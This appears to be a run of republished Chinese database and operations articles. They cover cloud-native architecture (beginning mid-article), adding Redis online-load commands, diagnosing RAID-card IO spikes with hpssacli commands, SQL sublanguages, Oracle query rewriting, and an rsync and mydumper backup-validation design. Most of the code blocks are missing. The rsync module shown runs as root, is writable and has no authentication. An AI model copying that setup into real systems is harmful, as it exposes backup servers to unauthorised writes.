有些公有云出入口的带宽很大,甚至有些互联网大厂的公有云平台,用的基础设施跟公司整体业务是一体的; 带宽大的另一个好处是可以抵御DDoS和CC攻击; 其次,公有云有更强的排障能力。国内的国情,网络故障是非常难以排查的,需要有专门的IT团队才能做好。 Managed Cloud Service 云计算有数据库、中间件这些服务,并且不需要你去关注高可用部署、故障恢复、扩缩容等系统层面的运维,操作系统内核级掌控、中间件源码级维护也均由云提供商负责,并且有明确的SLA保障。 高可用保障 此外,云计算可以帮你做高级别的高可用保障。日常的高可用保障,比如双机热备也好,冷备也好,都比不过公有云提供的多可用区的保障。云的多可用区至少是IDC级别的,在一个可用区内就像一张大网一样,至少保证三层的连接,保证你的业务都是互通的,整体架构不用考虑跨机房的问题。 云还有多Region的保障,有一些公司会做异地多活的架构,当然这对业务的侵入性是很大的,但至少可以用多Region的设施,来做数据的灾备。 另外,云的进化速度很快,会持续地更新,现在大多数都是基于Linux的技术栈,可能会不时地出现bug或安全漏洞,如果自己去跟进是非常困难的,公有云一般都会有专业的团队,及时跟进和修复这些安全问题,又省下了用户一笔人员开销。 公有云的取舍 当然,公有云要支持这么大规模的用户,本身有一定的取舍。 1)Design For Failure:公有云倾向于更快失败(影响范围受控)、更快恢复。如果你用的是物理机,出现问题时你会关注这个物理机是不是还“活着”。而公有云如果发现一台机器挂了,会直接进行服务迁移和重启,因为公有云本身有SLA的承诺,为了保证系统的鲁棒性,会更快地把这些疑似故障的节点排除掉。 2)由于公有云这样的特性,日常业务必须结合公有云能力实施高可用架构: 一方面以可用域为基础,实现高可用; 另一方面,将数据状态和业务逻辑分离,如果业务被迁移走了,只要挂上原来的盘就可以恢复了; 节点可重启或重建。 3)Design For Scale:虚拟化性能稍弱于物理机,公有云更追求交付的性能指标的稳定,避免租户业务间的影响,支持业务做Scale。对于开发者来说: 一方面,要知道你采购的磁盘、网络能够提供的性能是什么,根据这些QoS指标去做容量的规划; 另一方面要基于负载均衡、集群管理等能力去做Scale Out,而不是让机器规格越变越大。 2、项目工程化 除了上面提到的基础设施,在项目的工程化方面,陈谔也为大家带来了一些启示。他认为项目工程化是研发协作与云端运维的基础,也是很多团队在起步时可能会忽视的事情。项目的整个流程中,开发、测试、发布的每一步都涉及到公司内角色之间的协作,如果这些步骤做得不流畅,每一个环节的衔接非常困难,效率就会变的非常低,所以项目工程化是对高效构建、发布、运行流程的支持。 合理的版本控制工具 那么,如何做到项目的工程化呢?首先要选择合理的版本控制工具与策略: Git是社区和业界公认的一个比较好的工具; 建议每个应用采用单一的Codebase(12Factors-1: Codebase),把整个开发,构建,发布的流程串联起来,不至于拉下一个base还要决定这里面的代码哪一部分要拿去构建。 常见的版本控制策略包括: 基于Merge的多分支策略,这种模式和多人协作的方式是匹配的,可以看到大家协作产生的代码从分支到合并的过程,但是分支很多也造成了管理的复杂度很高; 如果团队能切割得比较小,功能比较集中的话,可以采用基于Rebase的单Master分支策略,它没有Merge信息,管理起来比较简单。 基于配置的依赖管理 然后可以去做基于配置的依赖管理: 声明依赖(Maven等),而不是把你的软件包全拷贝在代码库下面,实现自动构建 建议声明所有的依赖,包括运行环境的初始化,不隐式依赖系统库(12Factors-2: Dependencies) 接下来要合理拆分模块,可以按业务拆分模块,同时实现公共代码的模块化。 使用Docker实现环境一致性 之前在网易,对稳定性要求很高的产品,其发布流程通常都很曲折,主要原因在于环境的不一致。陈谔的建议是使用Docker实现环境的一致性,Docker容器完整虚拟化了Linux操作系统,将业务代码与运行环境装箱为Docker容器发布到生产环境,差异仅仅为外部注入的配置(如数据库地址等),容器内部文件在开发环境一旦发布则不再变化,从而保证开发环境与生产环境一致。 3、服务化的思维 工程化是做业务架构,建立一个高效团队的基础,接下来要考虑的就是服务化的思维。微服务是当下很流行的概念,采用微服务确实能为应用的迭代和架构带来很多好处。但服务化的架构会带来额外的负担,如果一个项目还处在初期阶段,我们的建议则是服务化思维先于服务化架构。 运维成本:一旦服务多了,环境搭建、故障诊断、运维的工作量都会成倍增加; 服务拆分之后,各个服务间的生命周期是不一致的,要做生命周期的分离,就需要处理更多的异常。服务间存在更多的约束,还是异步的,如依赖关系、版本,要保证消息能够可靠地到达那里; 另一方面,还会有分布式事务的问题,虽然解决起来不难,但是会侵入你的业务。 虽然业务初期,不适合服务化,但应该为后续的服务化做一些准备,否则后面想拆分的时候会变得非常困难: 提取Service API,理解业务中的服务抽象; 数据库设计的时候就考虑服务的划分; 避免跨服务事务,对跨服务事务进行标记; 如果项目发展起来,遇到的第一个问题通常是数据库会挂掉,所以在业务初期就做分库分表是很有必要的; 选择事务支持更好的数据库,如果你用缺乏事务支持的数据库做业务的后端,当你要做服务化拆分或分布式事务的时候,可能会比用MySQL的痛苦很多。 4、实施微服务 随着业务的壮大,是否要采用微服务,就要去衡量微服务带来的收益是否大于成本? 收益 控制迭代更新的影响域,而单体架构很难评估patch的影响范围; 加速迭代,提交代码心里负担小,迭代也能加快; 隔离局部故障; 防止代码架构层面的腐化,比如开发过程中为了赶进度,可能会把原有的架构推倒重来。如果用微服务架构,最多只需要将自己负责的那个模块重新设计。 成本 更多的依赖(eg: ZooKeeper,MQ),要做一个注册中心; 运维复杂度,几十个服务发布更新,运维的复杂度必然会上升; 技术实现的侵入性,在这个过程中难免要用到一些微服务化的框架,虽然对代码的侵入性不大,但对架构的侵入性还是不可避免的。 降低实施成本 良好的工程化,不要给运维的工作带来很多困难; 使用基于云端托管的PaaS服务; 使用基于云端托管的编排服务,帮你去做集群化的运维和管理的工作。 基于Kubernetes简化微服务实施 利用基于Kubernetes的基础设施可以简化微服务,一方面Kubernetes提供了基于域名的服务发现: 使用VIP+域名暴露服务:对比“注册中心”,采用域名服务具有更小的侵入性,更少的依赖 支持名称空间隔离,简化测试环境部署 Kubernetes还可以做基于iptables的透明RPC分发: 无需在程序中访问注册中心获取成员列表进行软负载均衡; 无需内网负载均衡层次增加网络开销。 比如,服务A访问服务B的虚拟IP VIP,利用iptables做DNAT,转成B中的所有成员,服务A可以直接,并利用probability特性按权重分发请求,比域名做轮转的负载均衡效果要好,因为iptables可控,域名不可控。 用Kubernetes还可以让你获得自动化运维能力: 自动扩缩容 自动故障处理(重试、迁移) 自动化滚动更新,通过健康检查与滚动的配合实现无缝更新 还可以基于Service 抽象实现蓝绿发布 Kubernetes以解耦的基础服务层的方式提供了对服务化的支持,避免了代码实现层面的耦合,通过云端托管Kubernetes服务能够将实现服务化的成本大幅降低。而且Kubernetes对业务没有侵入性,实现服务化的代价相对会比较小,后面业务变得非常重,需要细粒度控制时,再用到其它框架也没有什么影响。 我们深度整合了Docker技术和Kubernetes集群编排技术,所以网易云中会有一个Kubernetes Master,所有租户的业务都可以使用这个Master,不用用户自己维护。 5、DevOps 前面讲到的都是云原生相关的技术,实际上实现云原生还需要一些研发、运维和组织架构上的方式调整,比如DevOps。DevOps的出现是为了解决运维角色与开发角色的矛盾,运维追求的是可用率优先,而开发希望应用能快速更新迭代。 DevOps 与微服务 微服务架构能够支持更高频的迭代,降低更新迭代的风险,这与DevOps的目标是一致;但是微服务架构也会给运维带来成倍的工作量,可基于DevOps分散运维操作,而不是集中依赖少量运维角色。 实施DevOps 实施DevOps需要CI/CD、编排、故障诊断等工具链的支持,同时需要运维实现从操作到审计的职能转换,运维工作前置,在前期和开发团队合作。很多运维还需要开发工具,提高运转效率。 基于DevOps工具链支持微服务架构 1)Jenkins-容器-镜像仓库-服务编排 Pipeline as Code:实施服务化后持续集成的复杂度成倍增加,需要定义大量的流程,包含大量Jobs,以代码的方式管理Pipeline能够支持审计,有效管理复杂性并降低维护成本。 2)日志服务-分布式跟踪系统-性能管理服务 日志服务:Kafka+ELK套件,以网易云为例自动完成容器日志收集,并提供订阅接口可对接ELK。 分布式跟踪系统:在微服务架构下必须要做到与单体架构同样的服务请求的调用路径跟踪能力,才能够有效定位故障。可参考的框架有Zipkin,需要对RPC框架等做instrumentation,在调用过程中携带额外的头信息。 性能管理服务:微服务架构下依赖关系复杂,发生性能问题时难以定位源头及影响范围,性能管理服务可提供调用关系拓扑,及时统计慢响应及错误响应,有利于发现性能问题与定位故障。以网易云为例,利用Kubernetes提供元信息,利用AOP对常用库做instrumentation,可在无须配置及侵入代码的情况下,自动绘制拓扑,分析性能。 下图是我们内部性能管理的拓扑截图: 三、总结 最后,陈谔将云原生架构实现的要点总结如下,希望能给云计算的用户带来有价值的参考: 使用公有云; 重视项目工程化; 项目起步时建立服务化思维,而不要急于采用服务化架构带来不必要的负担; 实施微服务需权衡收益与成本,基于Kubernetes可简化微服务实施; DevOps能与微服务架构良好匹配,但实施DevOps需要完善的工具链支持。 原文发布时间为:2017-03-31 本文来自云栖社区合作伙伴DBAplus
作者介绍 顾伟涛,曾任职于百度、奇虎360,现为杭州铭师堂教育资深DBA,擅长数据库监控、备份、高可用架构设计和自动化运维,对Redis和MongoDB方面有深入研究,关注分布式存储、大数据存储、消息队列、搜索引擎等后端技术。 前言 在使用Redis加载数据过程中存在一个问题,就是必须要重启Redis服务,如果是Redis主从复制架构,这样加载数据,是一件很麻烦的事情,笔者根据Redis启动时加载数据的思想,对Redis进行了改进,实现了在线加载数据,在这里和大家一起探讨下。 设计与实现 本文以Redis 3.0.7为例,根据Redis在启动过程中,加载数据的逻辑,为Redis增加了2个命令,分别为LOADAOF和LOADRDB,分别实现在线加载aof和rdb文件。 在执行 LOADAOF aofile时候,调用 loadAppendOnlyFile函数,加载aof文件数据。具体实现如下: src/aof.c 新增如下函数: 在执行 LOADRDB 时候,调用函数rdbLoad,加载rdb文件。 src/rdb.c 新增如下函数: src/Redis.c 在函数 struct RedisCommand RedisCommandTable[] 新增如下一行: src/Redis.h 在 void bgsaveCommand(RedisClient *c); 下面加入如下两行: src/help.h 在函数 struct commandHelp 新增如下内容: 编译Redis 测试结果 可以看出,不重启Redis,可以加载数据了。 应用场景 1、线上数据导入到测试Redis 一般开发由类似需求,用于分析问题和测试。 2、恢复数据 如果Redis出现误操作,可以执行在线加载数据,尤其是在sentinel(s)+Redis主从复制架构中,该方法更加渐变。 注意点 1、如果是Redis主从复制,在主库在线加载aofile/rdbfile时,从库上也需要存在这些文件,否则从库报错退出。 2、执行在线加载操作时候,同样的文件内容,不要重复执行,否则从库异常退出。 如果主库重复执行loadrdb 时候,主库也会异常退出。 该方案还存在着不足之处,在这里只做抛砖引玉,希望和大家一起探讨改进,便于DBA的快捷操作。 原文发布时间为:2017-03-30 本文来自云栖社区合作伙伴DBAplus
导读:通常引起IO升高的因素很多,比如高并发或大字段写入、硬盘老化有坏块、Raid卡电池损坏或充放电、硬件自检等都会引起IO升高。本文主要对硬件自检导致的IO问题排查做简要说明。 现象 监控报警,IO最大利用率达60%+,应用TP99超时,成功率降低,如下为当时监控图: 遇到此问题的排查方向 第一, 定时任务导致。 先看时间,是否为定时任务导致,比如备份。如果binlog之前生成较多,过期后自动清理也会导致IO升高,可以通过磁盘空间监控查看。 第二,并发较大写磁盘频繁。 一般此问题不会造成IO util 50%以上。如果事物较大或者并发较大,general log或slow log会有记录,我们可以先看下当前线程连接情况,再结合general log或slow log查看是哪些SQL导致。是否需要优化SQL还是控制并发,以及调整数据库刷新频率置成双0模式。 第三,硬件因素导致。 IO util 50%以上,很大几率是硬件问题导致,磁盘是否有坏块。最常见的就是Raid卡电池损坏(充放电),如果电池损坏没有开启写缓存,则会直接写磁盘,IO会升高。我们可以通过如下命令检查,除HP服务器外其他采用MegaCli查看硬件信息,HP采用自带hpssacli命令查看,切记不要使用老命令hpacucli,此命令会导致部分HP型号服务器操作系统直接Hang。 服务器大多是LSI的MegaRAID卡,MegaCli兼容服务器命令 查看磁盘坏块: 查看缓存策略: 此种状态为BBU损坏时不写Raid卡缓存 修改为BBU损坏时写Raid卡缓存: 生成自检及电池充放电日志: 打开物理磁盘缓存: HP服务器hpssacli命令 HP查看电池状态: hpssacli ctrl all show status HP查看缓存策略: hpssacli ctrl all show detail|grep -i Cache 查看插槽号和逻辑磁盘号: hpssacli ctrl all show config detail|egrep -i 'Logical Drive:|slot:' 打开物理磁盘缓存: hpssacli ctrl slot=0 modify drivewritecache=enable 查看阵列号及SSDSmartPath: hpssacli ctrl all show config detail|egrep -i 'Array:|HP SSD Smart Path' SSD需要注意:(打开逻辑缓存需要先关闭SSD Smart Path功能) hpssacli ctrl slot=0 array A modify ssdsmartpath=disable 打开逻辑磁盘缓存: hpssacli ctrl slot=0 logicaldrive 1 modify caching=enable 在没有电池的情况下开启raid写缓存: hpssacli ctrl slot=0 modify nobatterywritecache=enable 设置读写百分比: hpssacli ctrl slot=0 modify cacheratIO=10/90 了解以上服务器命令后,分析三种情况: 无Raid卡电池(损坏) 查看Raid卡电池状态: 这种情况,如果没有修改默认WriteCache OK if Bad BBU模式或者No-Battery Write Cache: Enabled,在电池损坏时会转换成WT模式。从而导致IO非常高。 修改成WC模式后,IO使用率可以从99.6%降到2%左右,效果十分显著。 但这种情况下存在一个问题:因为没有Raid卡电池保护,即突然断电或者主板故障时会造成数据丢失风险。数据库服务器一般采用双电模式,掉电风险较低,但是主板故障相对较高,所以BBU坏时是否要打开Write Cache,需要根据业务情况综合取舍。 Raid卡电池处于充放电阶段 首先我们先了解BBU充放电原理: BBU由锂离子电池和电子控制电路组成。锂离子电池的寿命取决于其老化程度,从出厂之后,无论它是否被充电及它的充放电次数多与少,锂离子电池的容量将慢慢的减少。这意味着一个老电池无法像新电池那么持久。也就决定了BBU的相对充电状态(Relative State of Charge)不会等于绝对充电状态(Absolute State of Charge)。 为了记录电池的放电曲线,以便控制器了解电池的状态,例如最大和最小电压等,同时为了延长电池的寿命,默认会启用自动校准模式(AutoLearn Mode)。在learn cycle期间,Raid卡控制器不会启用BBU直到它完成校准。整个过程大概1小时左右。这个过程中,会禁用WriteBack模式,以保证数据完整性,同时会造成性能的降低。 整个Learn Cycle分为三个步骤: 控制器把BBU电池充满电(该步骤可能是放电后充电或直接充电,如果电池刚好满电,则直接进入第二阶段); 开始校准, 对BBU电池执行放电; 放电完成后,完成校准,并重新开始充电,直接达到最大电量,整个Learn Cycle才算完成 。 注意:如果第二或第三阶段被中断,重新校准的任务会停止,而不会重新执行。 再来说超级电容: 超级电容优于锂电池,采用电容+Flash子板的方式来将非正常掉电后的脏数据刷入Flash中永久保存。超级电容在50℃环境下可以使用5年,而且故障率低,不用例行充放电。目前大部分raid卡厂商也转向使用超级电容+Flash的备电方案。 采用MegaCli方式查看电池充放电周期: 查看充电状态: HP查看电容状态: 惠普服务器为何没有同类问题? 目前服务器除了HP服务器Raid卡采用镍氢电池、超级电容外,大部分服务器Raid卡还都采用的是锂电池。 镍氢电池、超级电容,它没有惰性,并且特性和锂电池不同,它并不需要通过完全放电来校准电量。 当镍氢电池由于自放电而导致电量降低时到一定程度时(比如80%),阵列卡控制器会感知到这一信息并对电池进行娟流充电以补充失去的电量,整个过程对用户是透明的,也不需要关闭缓存,因此并不会影响IO性能。 各品牌服务器充放电周期: 所以,Raid卡电池充放电阶段,会禁用WriteBack模式,以保证数据完整性,同时会造成性能的降低。 通过下面命令生成日志,可以查看充放电详细信息: 服务器硬件自检 除了Raid卡电池外,还有一个影响IO的重要因素那就是硬件自检。回到文章前面提到的监控图,同一业务的8台服务器于11月12日凌晨3:00开始IO开始升高,4:00左右达到最高峰IO利用率达70%左右,之后开始下降直至平稳正常。此系统已经平稳运行了很长时间,并没有做什么上线操作。 因为是凌晨3:00出现,而且备份正好是凌晨3:00开始,首先想到可能是备份导致的IO上升,但是登上服务器检查发现这几组机器并没有部署备份。 那么接下来可能会认为这段时间事物量较大,通过监控发现这个时间段并没有大量并发,而且此时间段为业务低峰期,相对访问操作较少。 开始着手分析硬件,怀疑为Raid卡电池导致,通过命令生成硬件自检及raid卡电池充放电日志1.log和2.log,部分日志内容如下: 通过分析日志发现,此时Raid卡电池运行正常,也没有进行充放电。而是系统进行了硬件自检,时间是每周六凌晨3:00开始。而且这几台为同一批机器,再查看更久的监控,发现每周六凌晨3:00 都会出现IO较高现象。自检期间IO消耗比较大,如果期间有事物处理,会出现慢SQL、超时等现象,导致TP99报警。 问题原因找到了,该如何优化? 如果调整的话需进入BIOs修改,因为服务器产品不同,修改方法可能不一样。 以DELL、ThinkServer为例: 通过ILO F1进入BIOS,首先需要把BIOS的Legacy修改成UEFI模式: 1.进入boot manage修改 boot mode为UEFI Only 2.进入Miscellaneous Boot Settings修改Storage OpROM Policy为UEFI Only 3.F10保存后重启再进入Boot manage里面可以看到Adapters and UEFI Drivers 选项 4.依次进入Controller Management—>Asvanced Controller Management—>Schedule Consistency Check即可看到一致性检查项: 5.修改后,选择Apply Changes,务必执行这一步,选择应用生效 6.再把前面的UEFI修改回Legacy模式,否则无法进入操作系统,重启即可 7.调整后,结合监控和日志检查,没有再出现凌晨3:00 IO升高现象 8.这里的Monthly指的是30天,而不是正常月,所以日期还是不固定9) 调整观察一段时间后,每周六的IO升高现象不再出现,不建议关闭此功能 总结 杜绝以上问题,需要从服务器初始化就做好: 1.调整硬件一致性自检策略,由每周调整为每月,并根据业务情况修改日期。但有一点需要注意,这里的月指的是固定30天,即使调整日期以后还是会错乱。不知道服务器厂商以后是否会修改。 2.针对电商来说,618和双11是最大的两个大促,日期相对固定,所以在大促前最好计算一下,是否会赶上,提前做好调整,相对影响更小、更安全。 3.修改Raid卡缓存策略 WriteBack,ReadAdaptive,Direct,Write Cache if Bad BBU模式: 此模式下存在在BBU有问题时(如电池失效)期间,突然断电或者主板故障都会导致数据丢失风险。 WriteBack,ReadAdaptive,Direct,No Write Cache if Bad BBU模式: 在BBU有问题时, 不使用Write Cache。但是可能发生Write Cache策略变更的情况(由WriteBack变成WriteThrough),导致IO性能急剧下降。 所以,修改成哪种模式需要结合实际业务来定,建议无论是否有raid卡电池都改成WriteBack,ReadAdaptive,Direct,Write Cache if Bad BBU模式。 4.不建议关闭硬件自检,可以适当延长自检周期,通过自检可以及时发现硬件问题,监控更及时。 5.不建议关闭Raid卡电池Auto Learn模式,通过这个校准,能延长电池寿命,不作电池校准的Raid卡,电池寿命将从正常的2年降为8个月。 6.另外mysql innodb_flush_method建议设成O_DIRECT模式:数据文件的写入操作是直接从mysql innodb buffer到磁盘(raid卡缓存)的,并不用通过OS缓冲,而真正的完成也是在flush这步,日志还是要经过OS缓存。 innodb_flush_log_at_trx_commit、sync_binlog改成0模式也会提升IO性能,但数据安全性会大打折扣,所以不到万不得已建议不要调成双0。 原文发布时间为:2017-03-30 本文来自云栖社区合作伙伴DBAplus
本文将提供一个查询语言类型的概述。 这篇博客的灵感来源于一些客户问我的问题,当在一个特定的领域工作时,你经常会碰到一些对你们这行来说非常有意义的专用词汇,它通常包括了高效的短语和缩写。 数据库也一样,数据库语言对于DBA而言可能很有意义,但对于没有接触过它的人来说听起来倒有点像“巫术”。以下这篇文章涵盖了SQL里面查询语言的基本类型,我希望它能够阐明SQL的含义,使你能够更好地理解和使用SQL。 DDL(数据定义语言) 数据库模式是一系列可视化的信息。它由表、视图和任何包含数据的结构组成,同时定义了如何存储和可视化信息。 数据库模式就像一个架构,它定义了如何去组织数据。任何对这个架构进行的创建、更新或者更改操作就是DDL。 还记得电子表格吗?一张表的定义描述了以下类似信息: 当你想要创建一张类似的表时,你必须要使用DDL,例如: Create、Alter、Drop等这些类型的结构修改查询就是DDL。定义表的结构非常重要,因为它定义了存储在数据库中信息的访问和可视化方式。 但我为什么要在意这么多? DDL定义了你开发程序的结构,同时也定义了数据库服务器搜索表信息的方式,以及它是如何关联到其他表(例如,使用外键)。 不像MongoDB这种NoSQL解决方案,你必须在添加信息前设计好你的MySQL模式。MySQL设计模式可能更加严格,但如果你想正确的存储和查询信息,这将是非常有意义的。 在大多数场景下,由于RDBMS系统的严格性,改变数据结构(或者表模式)需要系统重建实际表。这对于数据库性能或者表的可用性(锁定)来说可能存在问题。通常这是一个“热”过程(从MySQL5.6开始),操作时不需要停机。 除此之外,pt-osc工具等其他开源解决方案也可用于不停机改变数据结构。例如: DML(数据操作语言) 数据操作听起来有点像处理内部的结构信息,数据操作通常有插入和删除信息(添加行,删除行)例如: 恩,但我为什么要使用它呢? 除非你往数据库中插入和提取信息,否则拥有一个数据库环境对你来说毫无意义。记住,数据库是无处不在的,当你在最喜欢的博客网站上点击一个链接时,这很可能意味着你正在从一个数据库中获取信息(数据被插入或者修改了一次)。所以,与数据库交互时,你需要编写DML语句。 DCL (数据控制语言) 数据控制语言是任何用于管理访问数据库内容的操作,例如GRANT: 很好,但为什么会在SQL里会有另一种语言的子集? 作为数据库环境的用户,有时候你需要通过别人去执行DCL查询才能得到访问权限。 在MySQL中,数据控制语言是用来定义访问如表、视图、变量等数据结构的授权规则。 TCL (事务控制语言) 事务控制语言在数据库中用来控制事务的处理。那事务处理究竟是什么意思呢? 事务处理通常和DML查询绑在一起,例如: 这使你能够执行或者回滚一个完整的动作。但只有像InnoDB这种提供事务支持的的存储引擎才能使用TCL。 为什么又多了一个术语? 你是否曾经想过把几种信息结合起来并把它当做一条事务来执行?在某些情况下,事务能够确保你首先执行插入,然后执行的更新是有意义的。 如果不使用事务,插入可能会失败,关联的更新也可能变成无效的条目。 事务能够确保一个完整的事务(一组DML查询)要么生效,要么完全回滚(这也称为原子性)。 希望本文能帮助你了解一些数据库的内幕。 原文发布时间为:2017-03-29 本文来自云栖社区合作伙伴DBAplus
又一个核心系统去IE成功了,操作系统从AIX换为Linux,Oracle数据库从11.2.0.3升级到11.2.0.4,整体CPU利用率稳定运行在10%之内。 但是,有一个停复机业务的SQL犹如脱缰的野马,执行时间从几毫秒变到几百秒(执行时间的变化过程中,执行计划没有发生改变,表中的数据有变化),变成升级过程的插曲。本文将详细分析这个SQL的优化过程,展示一个不符合Oracle优化器的SQL语句,扭转起来到底有多费神。 我们可以看到,在8点15这个snapshot,15分钟内执行了10000多次(一万多次复机),之后每15分钟处理效率极低,只有40次。 语句(下述语句均经过脱敏)并不复杂: 迁移之前,正确的执行计划如下,使用了USER_ID作为关联条件,做一个NL嵌套循环即可完成查询: 迁移之后,执行计划变了,执行时间从几毫秒暴涨到几十秒上百秒。哪里发生问题了? 对该语句做一个10053跟踪,看看中间出了什么问题? 在《踩坑CBO,解决那些坑爹的SQL优化问题》一文中,丁俊做了CBO优化器组件的描述: 从上图可以看出,一条SQL进入Oracle中,实际上经过解析会将各部分进行分离,每个分离的部分独立成为一个查询块(query blocks),比如子查询会成为一个查询块,外部查询又是一个查询块,那么Oracle优化器要做的工作就是各查询块内部走什么样的访问路径更好(走索引、全表、分区?),其次就是各查询块之间应该走什么样的JOIN方式以及JOIN顺序,最终计算出哪种执行计划更好。优化器的核心就是查询转换器、成本估算器以及执行计划生成器。 这次遇到的语句之所以执行计划没有走“正确”:本质是subquery unnest没有做成功,导致FILTER失败。而失败的根源是触犯了CBO的底线,跟山东辱母案一样。 简单说,由于子查询中包含rowid和distinct,所以视图合并查询失败先执行外层查询,外层查询的每一行驱动执行一次子查询,因为外层条件返回行数高达数万条,因此,子查询被驱动查询数万次,效率低下。 通常情况,这种时候我们就会祭出SQL Profile大杀器,在不修改SQL语句的情况下把SQL优化好。这通常是管用的,但是在11.2.0.4里,它跟段誉的六脉神剑一样存在失灵的可能性。很不巧的是,我们运气实在有点好,从少商剑用到少泽剑,所有“原本”可以使用的Profile都失灵了。 最后查询转换是由对应参数控制,在我们的优化过程中尝试了SQLTXPLORE,把FIX control接近1200个参数都打开关闭了一下,也没有发现正常执行计划。一般Oracle已经fix的BUG,是可以通过XPLORE发现并解决的,然而这条SQL没有发现正常计划。 因此,这个问题是Oracle为了避免在类似这种SQL中写ROWID故意限制的,那么对开发编写SQL有什么启发呢?要符合规范,特别是关键字最好要用别名。 接下来我们谈谈SQL的改写。 SQL改写一:with查询物化 传统的方法都不能用,那么我们就尝试着改写SQL语句。语句本身并不复杂,操作都在一张表内完成(要查询2次),从停复机接口表中抽出最近一天产生的停机用户,排除去重,给出ROWID,复机服务根据ROWID去复机。 所以兄弟们想到一个临时解决方案,将第一个子查询结果物化: 执行计划如下: 这个执行计划跟没有改写前的形式很像,区别在于将子查询结果物化,进而提升了语句效率。 实际生产运行看,基本效率没有问题,但是在业务小高峰,存在一定积压的时候,性能会有些许异变。 SQL改写二:官方怎么看 Oracle MOS文章Query Referencing ROWID ofSubquery With Join Fails With ORA-01445(文档 ID1929880.1)中,详细说明了开发商原来的SQL语句写法存在问题。 A rowid is only defined for individual rows in a table, so it is not legal to select a rowid from a subquery unless each row from that subquery can be guaranteed to be uniquely associated with exactly one row in one table. Therefore, the subquery may have only one item in its FROM list; that item must also have a rowid; and the subquery must not use DISTINCT, GROUP BY, or anything else that might gather multiple rows into one. 简单翻译一下:rowid仅仅用来明确识别表中的特定行,因此除非能保证从子查询中查询出的每一行能够与表中的一条记录严格一一匹配,否则在子查询中使用rowid是不合法的(不符合Oracle要求的)。也就是说,子查询输出中能且仅可以有一个输出项,这个输出项可以有一个rowid,并且这个子查询中不可以有DISTINCT、GROUP BY或其他可能会将多个行变为一个行的关键字。 很不幸,我们的语句里,既有ROWID还有DISTINCT。 参考Oracle给出的解决方案: 参照,对原生产SQL语句做第二次改写(重复部分忽略)。改成JOIN方式,避免子查询相关查询转换,同时里层用别名,外层用ROWID交付给其他服务接口使用: 执行计划: 我们可以看到,执行计划重新用回了NL嵌套循环。COST值有变化,其中一个表用到了全表扫描,但是应为表大小总量可控,整体效率性能依然很高。 SQL改写三:元芳怎么看? 波波同学深入研究了业务逻辑,提出了一种创新思路,整个SQL建议改写为: 只对停复机接口表做一次查询,该表数据量本身不大(记录数通常在10万以内),是否走索引效率都会很高。 所以优化器理解起来就更容易,执行计划也就更简单,效率更高。 修改语句的逻辑是,在没有业务积压的情况下,复机顺序不严格按照停机顺序进行,只要处理得够快,复机时间早或者晚个几毫米对最终用户来说是无感知的。 这个案例说到这里,有没有给你带来什么启示? 从问题发生到结案,DBA团队尝试过索引重建、统计信息搜集、HINT、重建表、SQL profile绑定等多种方式,最终通过SQL改写解决。 对于DBA来说,不仅仅要懂得数据库的基本原理、基本技术,还应该更加多往业务端走一走,懂业务的DBA会更加高效、卓越。 我们之所以要去开发SQL审核平台,初衷就是要让开发/应用程序的SQL语句书写更合规,更加按照符合数据库的优化器行为去做,将潜在问题扼杀在萌芽状态。 并且,只有通过大量类似的大规模客户案例的充实,才能让SQL审核平台越来越臻于完善,SQL审核的有效识别率从80%提升到90%,以及更多。 原文发布时间为:2017-03-29 本文来自云栖社区合作伙伴DBAplus
作者介绍 庞阔,优朋普乐传媒运维基础部经理。负责数据库运营管理及平台设计开发,监控设计改进,问题跟踪处理,机房网络维护管理,目前四个专利已在专利局申请中。擅长数据库运维管理及Shell、Perl、PHP编写。 背景 最近关于数据库故障出现的问题较多,不论大小公司对数据的备份要求都很高,但对校验数据备份的有效性要求更为迫切,很多公司对于自动备份和还原都已经形成体系,但对于还原后的备份有效性校验可能都不太完善,而且目前网上也没有较为完善的检验机制(可能我没找到)。 对数据库备份的有效性校验的方法或样例选择,直接关系到备份数据的质量指标。本文将分享我做的一个设计,此设计是直接采用线上执行的SQL提取出select,包括复杂join类型的SQL加上当前存在的库及表信息,提高了备份校验的准确性。 这是我在申请数据库相关专利时推演出来的方案,在寻找一个好的校验备份还原后的数据衡量指标,偶然地和备份还原进行结合时出现了这个设计。当数据库实例越来越多时,这个有效性校验的需求会越来越强。 下面将简单介绍一下我的校验数据的设计方案,或许它能给你一个思路或想法,当然我也希望能有其他好的方案出来,共同学习。(注:部分信息做了脱敏处理) 系统处理流程 程序处理流程如下: 根据上面的流程图,大致分为5个步骤,有6个脚本程序来完成这个流程,每个步骤其实不是很难,实际中可根据自己的业务特定进行完善,下面我简单介绍此流程中主要的几个功能。 功能介绍 自动备份功能 (可自行设置,我是配置的定时任务,平台在对接中) 自动还原功能 自动下载备份并还原。 SQL及库表自动上报功能 1)上报本机数据库的库表信息,主要用来比对还原后库表信息是否一一对应,如果对应正常,否则异常,进行报警处理。 2)汇报SQL,为保证SQL的真实性,此方法是监听general_log,分析后获取Select 类型SQL,并执行此SQL 降获取到的sql 及查到的值 汇报到数据中心作为样例SQL使用。 还原后库表及SQL自动比对功能 1)还原后自动调用数据库中心获取库表信息,进行一一比对。 2)获取SQL信息进行原来和还原后数据值的匹配校验,如果对应则正常,否则为异常。 注:在下面演示过程中以手动形式,可根据公司具体情况设置为自动。 环境介绍 数据库机器:172.16.20.5 备份机器:172.16.20.6 还原机器:172.16.20.7 备份工具:mydumper 编程语言:Shell+Perl 备份传输工具:rsync 部署 1、备份机器rsync部署 对于数据中心做备份之前采取过如下几个方案。我简单概括一下: NFS:由一块设备进行网络远程挂载,只需安装NFS服务即可,操作简单。但是有个问题就是当NFS服务出现问题或网络中断时你去使用磁盘会出现挂起的现象。 FTP:也用过FTP来做备份服务,但有时会出现登录失败的现象,对于不同目录权限设置较为复杂,不方便维护;上传下载编写脚本也不是太方便。 Rsync:改为Rsync,主要是配置简单,上传下载也简单的多,一条命令即可;对于增量的传输很有用。 重要部分如下: [back5] path = /opt/mysql_bak/172.16.20.5 comment = www file ignore errors read only = false list = false uid = root gid = root 2、数据库机器和还原机器安装mydumper mydumper第三方开用于对MySQL数据库进行多线程备份和恢复的开源工具。开发人员主要来自MySQL、Facebook和SkySQL公司,目前由Percona公司开发和维护,是Percona Remote DBA项目的重要组成部分;不同于官方的mysqldump、mysqlpump的是对库表备份和还原采用多线程,对于快速备份和恢复是不错的选择;当然还有percona的xtrabackup相当于物理备份的工具,但是耗费空间较大。 3、数据库上执行备份脚本 脚本如下: 4、数据中心表结构设计 在数据中心创建下面的表,这些表主要用来存储备份时上报的库表信息和SQL信息,用后续步骤还原校验时做提供样例值。 库表汇报的表结构 SQL 表结构 